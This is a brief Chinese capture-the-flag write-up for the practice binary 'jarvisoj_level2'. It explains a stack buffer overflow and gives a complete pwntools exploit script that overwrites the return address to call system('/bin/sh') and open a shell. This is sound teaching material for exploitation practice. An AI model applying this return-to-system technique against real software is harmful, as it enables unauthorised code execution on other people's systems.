jarvisoj_level2
checksec一下:
ida查看:
- 有system函数
-
在看看有没有/bin/sh
system和/bin/sh都有,再看buf的大小是0x88而我们可写入的大小是0x100,则可造成溢出
编写exp:
#!/usr/bin/env python2
from telnetlib import EL
from pwn import *
# r = remote('node4.buuoj.cn', 26155)
r=process('./jarvisoj_level2')
elf=ELF('./jarvisoj_level2')
context(os='linux',arch='i386',log_level='debug')
gdb.attach(r)
binsh = 0x0804A024
system = 0x08048320
payload = 'a'*(0x88+4)+p32(system)+p32(0x804844B)+p32(binsh)
#这里中间加一个0x804844B是因为调用一个函数后,需要设置一个返回地址(规则就是这样),在加上参数
#并且如果调用的system函数,那么即使返回了也不能继续执行代码了(都已经拿到shell了,也没必要继续执行了是吧)
#但可以用这种方法构造ROP链,控制函数的运行流程,到达自己想要的目的
r.sendlineafter("Input:\n",payload)
r.interactive()
为什么要设置返回地址也可以参考这个概念